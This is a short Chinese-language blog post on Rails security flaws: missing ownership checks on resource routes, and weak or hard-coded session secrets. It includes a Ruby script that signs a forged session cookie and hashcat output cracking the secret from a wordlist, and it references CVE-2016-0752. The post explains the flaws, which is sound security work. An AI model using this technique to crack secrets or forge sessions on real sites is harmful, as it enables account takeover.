rails安全问题漫谈

rails安全问题

越权

主要是直接获取数据的参数,没有判断是否属于当前用户。
由于rails 路由可以配置resources,那么会导致的安全问题是,GET方法获取,那么可能导致DELETE也可以操作,可能导致可以删除数据库的数据。

session的安全性

session secret是加密cookies的。如果secret key设置未弱密码,存在被暴力枚举的可能性。
而且开源的软件,如果内置硬编码一个secret key的话,也是可以通过伪造sesssion里面的内容。
当然还是需要知道session里面到底又什么参数值。所以可能攻击开源的系统效果比较好。貌似之前巡风遇到这个问题,因为系统安装的时候,没有自动初次化那个secret key。你安装好系统之后,登录获取到session,就可以取别人的系统登录了。

实施的方法

hashcat。
gen-cookie.rb

1
2
3
4
5
6
7
require 'base64'
require 'openssl'
key = 'super secret'
cookie_data = 'test'
cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), key, cookie)
puts("#{cookie}--#{digest}")

1
2
$ ruby gen-cookie.rb 
BAhJIgl0ZXN0BjoGRVQ=--8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2

保存到一个文件hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ hashcat -m150 hashes ~/wordlists/crackstation.txt
(...)
8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:BAhJIgl0ZXN0BjoGRVQ=:super secret
Session.Name...: hashcat
Status.........: Cracked
Input.Mode.....: File (/home/ec2-user/wordlists/crackstation.txt)
Hash.Target....: 8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:...
Hash.Type......: HMAC-SHA1 (key = $pass)
Time.Started...: Wed Aug 17 21:45:08 2016 (43 secs)
Speed.Dev.#1...: 6019.4 kH/s (12.95ms)
Speed.Dev.#2...: 5714.5 kH/s (13.04ms)
Speed.Dev.#3...: 5626.1 kH/s (13.20ms)
Speed.Dev.#4...: 6096.9 kH/s (13.24ms)
Speed.Dev.#*...: 23456.9 kH/s
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 1021407839/1196843344 (85.34%)
Rejected.......: 6826591/1021407839 (0.67%)
Restore.Point..: 1017123528/1196843344 (84.98%)
Started: Wed Aug 17 21:45:08 2016
Stopped: Wed Aug 17 21:46:04 2016

框架漏洞

CVE-2016-0752
http://ronin-ruby.github.io/blog/2013/01/09/rails-pocs.html

参考链接